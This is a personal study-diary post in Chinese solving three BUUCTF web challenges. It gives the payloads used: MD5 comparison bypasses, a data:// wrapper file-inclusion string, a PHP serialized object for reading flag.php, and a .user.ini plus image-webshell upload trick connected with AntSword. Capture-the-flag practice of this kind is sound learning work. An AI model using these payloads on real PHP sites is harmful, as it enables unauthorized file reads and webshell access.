2021/10/18-学习日记

1.BUUCTF刷题-[BJDCTF2020]Easy MD5

本题wp
首先使用字符串"ffifdyop"来绕过hint。
在第二个页面的源码中给出了提示。

1-1

判断语句要求a!=b,但md5(a)==md5(b),可以用之前学过的MD5弱判断绕过。
构造payload:

?a=QNKCDZO&b=240610708

进入第三个页面。


1-2

这次是强相等判断,可以将post参数设为数组绕过。

param1[]=1&param2[]=2
// flag{9f8cab11-074c-46ff-8314-0dfca9fb2865}

得到flag。

2.BUUCTF刷题-[ZJCTF 2019]NiZhuanSiWei

首先是代码分析。


2-1

get表单提交三个变量:text,file,passwor。然后通过两个判断语句。
第一个if判断的是$text所代表的文件是否为字符串“welcome to the zjctf”。所以应该想办法让text代表一个文件,并在文件中写入一个字符串。可以利用data:伪协议。


方法一:伪协议利用
构造语句:

text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

方法二:利用php://input伪协议在post表单传递

2-2


接下来发现直接包含useless.php时没有回显,那就用base64转码再返回。再将返回的字符进行解码,得到useless.php里的内容。

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

接下来构造password来获得flag。

<?php  
class Flag{
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$password=new Flag();
$password = serialize($password);
echo $password; 
?> 
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 
//flag{68bd96b7-3b71-48ae-9472-9c2c3f6ccc2c}

最后得到flag。

3.BUUCTF刷题-[SUCTF 2019]CheckIn

涉及到一个新的知识点:.user.ini
先构造一个文件,名为".user.ini",内容为:

GIF89a
auto_prepend_file=1.jpg

再构造一个名为1.jpg的图马。
将这两个文件依次上传。

3-1

这里提示了/uploads/24f893dad1820334811a860b5e226e83目录下有一个文件名为index.php,这很反常,应该是出题者留出的用来执行木马的文件。
我们直接用蚁剑连接"http://59aefc88-d0d9-4140-a820-274ffbc0813a.node4.buuoj.cn:81/uploads/24f893dad1820334811a860b5e226e83/index.php",就可以拿到flag了。


今天就到这,嗓子疼,太难受了

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容